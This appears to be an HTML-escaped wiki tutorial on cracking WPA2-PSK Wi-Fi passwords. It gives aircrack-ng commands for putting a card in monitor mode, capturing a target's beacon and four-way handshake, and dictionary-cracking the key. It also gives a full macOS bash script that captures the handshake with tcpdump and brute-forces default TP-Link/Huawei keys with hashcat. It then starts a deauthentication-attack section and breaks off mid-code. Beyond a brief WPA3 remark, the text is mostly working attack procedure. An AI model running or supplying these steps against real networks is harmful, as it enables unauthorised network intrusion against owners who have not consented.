&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.&lt;br /&gt;
 &lt;br /&gt;
  sudo airmon-ng&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0   iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY Interface Driver    Chipset&lt;br /&gt;
      phy0  wlan0mon  iwlwifi   Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplicant&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
Alternatively create a monitoring device by using:&lt;br /&gt;
&lt;br /&gt;
   sudo airmon-ng start wlan0&lt;br /&gt;
&lt;br /&gt;
If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called &amp;quot;wlan0mon&amp;quot; or on a different setup &amp;lt;YOUR DEVICE NAME&amp;gt;mon. This is the actual monitoring device.&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   sudo airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   sudo airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using &amp;lt;nowiki&amp;gt;tcpdump&amp;lt;/nowiki&amp;gt; instead of &amp;lt;nowiki&amp;gt;airodump-ng&amp;lt;/nowiki&amp;gt;, as well as the use of &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; (or John the ripper) instead of &amp;lt;nowiki&amp;gt;aircrack-ng&amp;lt;/nowiki&amp;gt; can also be ported to Linux and has advantages over the previously listed version. Only the use of &amp;lt;nowiki&amp;gt;airport&amp;lt;/nowiki&amp;gt; works exclusively on macOS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;crack_WPA2_PSK.sh&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: In this script, &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. &amp;lt;br&amp;gt;You may need to change the &amp;lt;nowiki&amp;gt;hashcat&amp;lt;/nowiki&amp;gt; command at the end of the script to fit your usecase.&amp;lt;/div&amp;gt;&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;#!/bin/bash&lt;br /&gt;
if [[ $UID != 0 ]]; then&lt;br /&gt;
    echo &amp;quot;Please run this script with sudo:&amp;quot;&lt;br /&gt;
    echo &amp;quot;sudo $0 $*&amp;quot;&lt;br /&gt;
    exit 1&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
hr() {&lt;br /&gt;
  local start=$&#039;\e(0&#039; end=$&#039;\e(B&#039; line=&#039;qqqqqqqqqqqqqqqq&#039;&lt;br /&gt;
  local cols=${COLUMNS:-$(tput cols)}&lt;br /&gt;
  while ((${#line} &amp;lt; cols)); do line+=&amp;quot;$line&amp;quot;; done&lt;br /&gt;
  printf &#039;%s%s%s\n&#039; &amp;quot;$start&amp;quot; &amp;quot;${line:0:cols}&amp;quot; &amp;quot;$end&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner() {&lt;br /&gt;
  hr; printf &amp;quot; \033[0;31m${1}\033[0m\n&amp;quot;; hr&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Perform a wireless broadcast scan&amp;quot;&lt;br /&gt;
echo &#039; # airport -s&#039;&lt;br /&gt;
airport -s&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Enter dynamic configuration&amp;quot;&lt;br /&gt;
echo -n &amp;quot;  CHANNEL=&amp;quot;&lt;br /&gt;
read CHANNEL&lt;br /&gt;
echo -n &amp;quot;  BSSID=&amp;quot;&lt;br /&gt;
read BSSID&lt;br /&gt;
echo -n &amp;quot;  INTERFACE=&amp;quot;&lt;br /&gt;
read INTERFACE&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Disassociate from any network&amp;quot;&lt;br /&gt;
echo &#039; # airport -z&#039;&lt;br /&gt;
airport -z&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Set arbitrary channel on the card&amp;quot;&lt;br /&gt;
echo &#039; # airport -c$CHANNEL&#039;&lt;br /&gt;
airport -c$CHANNEL&lt;br /&gt;
echo &#039; # airport -c&#039;&lt;br /&gt;
airport -c&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Current network configuration&amp;quot;&lt;br /&gt;
echo &#039; # airport -I&#039;&lt;br /&gt;
airport -I&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture beacon frame&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE -w /tmp/beacon.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Capture four-way handshake&amp;quot;&lt;br /&gt;
echo &#039; # tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&#039;&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i $INTERFACE -w /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
# banner &amp;quot;Merge beacon frame and four-way handshake&amp;quot;&lt;br /&gt;
# Note: mergecap is part of wireshark&lt;br /&gt;
echo &#039; # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&#039;&lt;br /&gt;
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Convert .cap file to .hccapx format to be used with hashcat&amp;quot;&lt;br /&gt;
# Note: cap2hccapx is part of hashcat-utils&lt;br /&gt;
echo &#039; # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx&lt;br /&gt;
banner &amp;quot;Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)&amp;quot;&lt;br /&gt;
# 00000000 - 99999999&lt;br /&gt;
echo &#039; # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&#039;&lt;br /&gt;
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d&lt;br /&gt;
&lt;br /&gt;
banner &amp;quot;Clean up&amp;quot;&lt;br /&gt;
echo &#039; # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&#039;&lt;br /&gt;
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
           The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
sudo airport $INTERFACE sniff $CHANNEL&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Disassociate from any network: (-z --disassociate)&lt;br /&gt;
sudo airport -z&lt;br /&gt;
# Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
sudo airport -c$CHANNEL&lt;br /&gt;
&lt;br /&gt;
# Capture a beacon frame from the AP&lt;br /&gt;
sudo tcpdump &amp;quot;type mgt subtype beacon and ether src $BSSID&amp;quot; -I -c 1 -i $INTERFACE&amp;lt; -w beacon.cap&lt;br /&gt;
# Wait for the WPA handshake&lt;br /&gt;
sudo tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -U -vvv -i $INTERFACE -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
# Merge the two files&lt;br /&gt;
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Convert .cap to .hcapx file (Part of hashcat-utils)&lt;br /&gt;
cap2hccapx capture.cap capture.hccapx&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# Crack using a simple dictionary attack:&lt;br /&gt;
hashcat -m 2500 capture.hccapx wordlist.txt&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a &lt;br /&gt;
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
